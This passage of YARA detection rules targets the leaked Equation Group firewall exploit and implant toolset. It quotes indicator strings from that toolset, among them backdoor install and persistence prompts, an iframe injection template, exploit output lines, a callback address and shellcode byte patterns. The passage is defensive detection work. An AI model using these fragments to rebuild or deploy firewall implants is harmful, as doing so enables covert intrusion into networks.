		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"

	strings:
		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
		$x3 = "[-] no response from health check - target may have crashed" fullword ascii

	condition:
		1 of them
}

rule EQGRP_uninstallPBD
{
	meta:
		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
		id = "0153cb2a-a0de-51f9-80c2-22136d56f16d"

	strings:
		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
		$s2 = "_hidecmd" ascii
		$s3 = "memset 013abd04 1 0d" fullword ascii

	condition:
		all of them
}

rule EQGRP_BICECREAM
{
	meta:
		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
		id = "a10819ae-db48-5d30-8e2e-2e4fe33e005b"

	strings:
		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
		$s2 = "command data size is invalid for an exec cmd" fullword ascii
		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
		$s6 = "[%d] Execute code." fullword ascii
		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 5000KB and 2 of them ) or ( 5 of them )
}

rule EQGRP_create_http_injection
{
	meta:
		description = "EQGRP Toolset Firewall - file create_http_injection.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
		id = "92b6dad0-c7d8-5522-8fc1-fbd0aae00960"

	strings:
		$x1 = "required by SECONDDATE" fullword ascii
		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
		$s3 = "version='%prog 1.0'," fullword ascii
		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 3KB and ( $x1 or 2 of them ) ) or ( all of them )
}

rule EQGRP_BFLEA_2201
{
	meta:
		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
		id = "7dfdc2a2-73d1-5eba-8936-ed14b17495c5"

	strings:
		$s1 = ".got_loader" fullword ascii
		$s2 = "LOADED" fullword ascii
		$s3 = "readFlashHandler" fullword ascii
		$s4 = "KEEPGOING" fullword ascii
		$s5 = "flashRtnsPix6x.c" fullword ascii
		$s6 = "fix_ip_cksum_incr" fullword ascii
		$s7 = "writeFlashHandler" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 5 of them ) or ( all of them )
}

rule EQGRP_BpfCreator_RHEL4
{
	meta:
		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
		id = "476185f2-b093-5fb9-8604-891e96fe52a9"

	strings:
		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
		$s2 = "error reading dump file: %s" fullword ascii
		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 2000KB and all of them )
}

rule EQGRP_StoreFc
{
	meta:
		description = "EQGRP Toolset Firewall - file StoreFc.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
		id = "48bbf5c9-e884-5126-93a2-d27650409882"

	strings:
		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii

	condition:
		1 of them
}

rule EQGRP_hexdump
{
	meta:
		description = "EQGRP Toolset Firewall - file hexdump.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
		id = "32a7d845-2fa3-5d8f-84e1-2c7f8d2ca8c8"

	strings:
		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 1KB and 2 of ( $s* ) ) or ( all of them )
}

rule EQGRP_BBALL
{
	meta:
		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"

	strings:
		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
		$s2 = ".got_loader" fullword ascii
		$s3 = "handler_readBIOS" fullword ascii
		$s4 = "cmosReadByte" fullword ascii
		$s5 = "KEEPGOING" fullword ascii
		$s6 = "checksumAreaConfirmed.0" fullword ascii
		$s7 = "writeSpeedPlow.c" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and 4 of ( $s* ) ) or ( all of them )
}

rule EQGRP_BARPUNCH_BPICKER
{
	meta:
		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
		id = "7e88ba9d-1f15-533a-b388-a2a027ddb07c"

	strings:
		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 6000KB and 1 of them ) or ( 3 of them )
}

rule EQGRP_Implants_Gen6
{
	meta:
		description = "EQGRP Toolset Firewall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
		id = "1b1c6426-7274-5fd4-9ea2-ef10bda769d4"

	strings:
		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
		$s3 = "getModInterface__preloadedModules" fullword ascii
		$s4 = "showCommands" fullword ascii
		$s5 = "readModuleInterface" fullword ascii
		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
		$s7 = "Get_CMD_List" fullword ascii
		$s8 = "LP_Listen2" fullword ascii
		$s9 = "killCmdList" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 6000KB and all of them )
}

rule EQGRP_Implants_Gen5
{
	meta:
		description = "EQGRP Toolset Firewall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
		id = "e35748ee-d530-5e73-a74d-5675d05725e9"

	strings:
		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and 1 of ( $x* ) ) or ( all of them )
}

rule EQGRP_pandarock
{
	meta:
		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
		id = "aa0ee05b-b3e4-576a-8a32-bdc8d98fe636"

	strings:
		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
		$s1 = "pitCmd_processCmdLine" fullword ascii
		$s2 = "execute all commands in <file>" fullword ascii
		$s3 = "__processShellCmd" ascii
		$s4 = "pitTarget_getDstPort" fullword ascii
		$s5 = "__processSetTargetIp" ascii
		$o1 = "Logging commands and output - ON" fullword ascii
		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 3000KB and 1 of ( $x* ) ) or ( 4 of them ) or 1 of ( $o* )
}

rule EQGRP_BananaUsurper_writeJetPlow
{
	meta:
		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
		id = "901af182-cbfa-533a-a055-565d95005d62"

	strings:
		$x1 = "Implant Version-Specific Values:" fullword ascii
		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 2000KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule EQGRP_Implants_Gen4
{
	meta:
		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		id = "8b2061f0-862d-51de-a7d0-7a36d3e71d61"

	strings:
		$s1 = "Command has not yet been coded" fullword ascii
		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 3000KB and 3 of them ) or ( all of them )
}

rule EQGRP_Implants_Gen3
{
	meta:
		description = "EQGRP Toolset Firewall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
		id = "ec64bb2b-566b-50b6-a518-222afc88d400"

	strings:
		$x1 = "incomplete and must be removed manually.)" fullword ascii
		$s1 = "%s: recv'd an error from the target." fullword ascii
		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 6000KB and 2 of them ) or ( all of them )
}

rule EQGRP_BLIAR_BLIQUER
{
	meta:
		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		id = "6f83bb11-f789-544e-8dca-c2dc2c845331"

	strings:
		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
		$x2 = "There is no implant present on the firewall." fullword ascii
		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
		$x5 = "No reply from persistant back door." fullword ascii
		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
		$p1 = "PBD_GetVersion" fullword ascii
		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
		$s2 = "Could not get hook and jump addresses" fullword ascii
		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
		$s5 = "Invalid implant file" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 3000KB and ( 1 of ( $x* ) or 1 of ( $p* ) ) ) or ( 3 of them )
}

rule EQGRP_sploit
{
	meta:
		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"

	strings:
		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
		$s4 = "exp.load_vinfo()" fullword ascii
		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
		$s7 = "if self.terminateFlingOnException:" fullword ascii
		$s8 = "print 'Debug info ','='*40" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 90KB and 1 of ( $s* ) ) or ( 4 of them )
}

rule EQGRP_Implants_Gen2
{
	meta:
		description = "EQGRP Toolset Firewall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
		id = "58b0b51d-d1f8-5ee2-a4af-491c49dd0573"

	strings:
		$x1 = "Modules persistence file written successfully" fullword ascii
		$x2 = "Modules persistence data successfully removed" fullword ascii
		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
		$s2 = "Error while attemping to persist modules:" fullword ascii
		$s3 = "Error while reading interface info from PIX" fullword ascii
		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
		$s6 = "Unable to fetch config address for this OS version" fullword ascii
		$s7 = "LP.c: interface information not available for this session" fullword ascii
		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
		$s9 = "extract_fgbg" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 3000KB and 1 of ( $x* ) ) or ( 5 of them )
}

rule EQGRP_Implants_Gen1
{
	meta:
		description = "EQGRP Toolset Firewall"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
		id = "af0a1a2c-0efb-568f-9e80-baee7398fea2"

	strings:
		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
		$s2 = "EXEC Packet Processed" fullword ascii
		$s3 = "Failed to insert the command into command list." fullword ascii
		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
		$s6 = "Wrong Payload Size" fullword ascii
		$s7 = "Unknown packet received......" fullword ascii
		$s8 = "Returned eax = %08x" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 6000KB and ( 2 of ( $s* ) ) ) or ( 5 of them )
}

rule EQGRP_eligiblebombshell_generic
{
	meta:
		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
		id = "7abe53f6-9880-523a-b71f-6e3850047764"

	strings:
		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
		$s3 = "\"be supplied\")" fullword ascii

	condition:
		( filesize < 70KB and 2 of ( $s* ) ) or ( all of them )
}

rule EQGRP_ssh_telnet_29
{
	meta:
		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		super_rule = 1
		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
		id = "cc6edf63-f7ef-579a-82c5-28e5012561e0"

	strings:
		$s1 = "received prompt, we're in" fullword ascii
		$s2 = "failed to login, bad creds, abort" fullword ascii
		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii

	condition:
		( filesize < 10KB and 2 of them ) or ( 3 of them )
}

rule EQGRP_tinyexec
{
	meta:
		description = "EQGRP Toolset Firewall - from files tinyexec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		id = "b783bafd-52e2-59e8-98ab-47de3250415e"

	strings:
		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 270 and all of them
}

rule EQGRP_callbacks
{
	meta:
		description = "EQGRP Toolset Firewall - Callback addresses"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		id = "dd1fbe09-4def-562d-825d-e790dc2c3dd9"

	strings:
		$s1 = "30.40.50.60:9342" fullword ascii wide

	condition:
		1 of them
}

rule EQGRP_Extrabacon_Output
{
	meta:
		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		id = "b2070ed7-e95a-534a-8f27-63c5ca9251b4"

	strings:
		$s1 = "|###[ SNMPresponse ]###" fullword ascii
		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
		$s3 = "[+] building payload for mode pass-disable" fullword ascii
		$s4 = "[+] Executing:  extrabacon" fullword ascii
		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii

	condition:
		2 of them
}

rule EQGRP_Unique_Strings
{
	meta:
		description = "EQGRP Toolset Firewall - Unique strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		id = "08f5f1e3-ce4e-54ef-922f-50446edfcd70"

	strings:
		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"

	condition:
		1 of them
}

rule EQGRP_RC5_RC6_Opcode
{
	meta:
		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
		date = "2016-08-17"
		id = "b12a1a2c-8d32-5318-a658-6aa1a08c3263"

	strings:
		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }

	condition:
		1 of them
}

rule EquationGroup_modifyAudit_Implant
{
	meta:
		description = "EquationGroup Malware - file modifyAudit_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "b7902809a15c4c3864a14f009768693c66f9e9234204b873d29a87f4c3009a50"
		id = "0321f6c0-2250-5991-a1d9-f0598e13c665"

	strings:
		$s1 = "LSASS.EXE" fullword wide
		$s2 = "hNtQueryInformationProcess" fullword ascii
		$s3 = "hZwOpenProcess" fullword ascii
		$s4 = ".?AVFeFinallyFailure@@" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and ( all of ( $s* ) ) ) or ( all of them )
}

rule EquationGroup_modifyAudit_Lp
{
	meta:
		description = "EquationGroup Malware - file modifyAudit_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
		id = "9dcfa774-0048-5bd9-ba7d-87bbdff9567a"

	strings:
		$s1 = "Read of audit related process memory failed" fullword wide
		$s2 = "** This may indicate that another copy of modify_audit is already running **" fullword wide
